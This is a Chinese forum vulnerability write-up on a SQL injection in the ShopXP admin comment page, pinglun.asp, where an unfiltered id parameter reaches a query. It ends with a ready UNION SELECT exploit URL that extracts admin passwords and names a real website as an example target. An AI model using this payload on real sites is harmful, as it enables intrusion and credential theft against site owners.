http://bbs.anquan.org/forum.php?mod=viewthread&tid=22021&page=1#pid55222漏洞存在于/admin/pinglun.asp 文件
```
<!--#include file="xp.asp"-->
<html><head><title><%=webname%>--用户评论</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link href="../img_shopxp/css.css" rel="stylesheet" type="text/css">
</head>
<body leftmargin="0" topmargin="5" marginwidth="0" bgcolor="#D9E6FF">
<%dim shopxpptid,action
pinglunid=request.QueryString("id")
action=request.QueryString("action")
if action="save" then
set rs=server.CreateObject("adodb.recordset")
rs.open "select * from shopxp_pinglun where pinglunid="&pinglunid,conn,1,3
rs("huifu")=HTMLEncode2(trim(request("huifu")))
rs("huifudate")=now()
rs.update
rs.close
set rs=nothing
…………………/*省略*/…………………..
<%set rs=server.CreateObject("adodb.recordset")
rs.open "select * from shopxp_pinglun where pinglunid="&pinglunid,conn,1,3
%>
```
首先看到<!–#include file=”xp.asp”–> 引用了xp.asp文件,
```
<!--#include file="database_name.asp" -->
<%
dim conn,connstr,db
startime=timer()
db="../shopxp/"&dataname&"" '数据库
on error resume next '尝试连数据库,一直到超时,但可以加强SQL注入过滤
connstr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)
'connstr="DBQ="+server.mappath(""&db&"")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
set conn=server.createobject("ADODB.CONNECTION")
conn.open connstr
%>
```
这个文件的作用是获取数据库连接对象,继续回到/admin/pinglun.asp 文件,
```
pinglunid=request.QueryString("id")
action=request.QueryString("action")
```
获取id的值赋给pinglunid,跟进pinglunid,走到
```
<%set rs=server.CreateObject("adodb.recordset")
rs.open "select * from shopxp_pinglun where pinglunid="&pinglunid,conn,1,3
%>
```
可以看到没有过滤就被带入到数据库,接下来在下面打印出了查询结果,导致一个SQL漏洞注入产生。
案例如下:
http://www.outlanderex.com/
利用EXP:
/admin/pinglun.asp?id=1%20and%201=2%20union%20select%201,password,password,admin,admin,password,password,password,password,password,password%20from%20shopxp_admin
漏洞证明:
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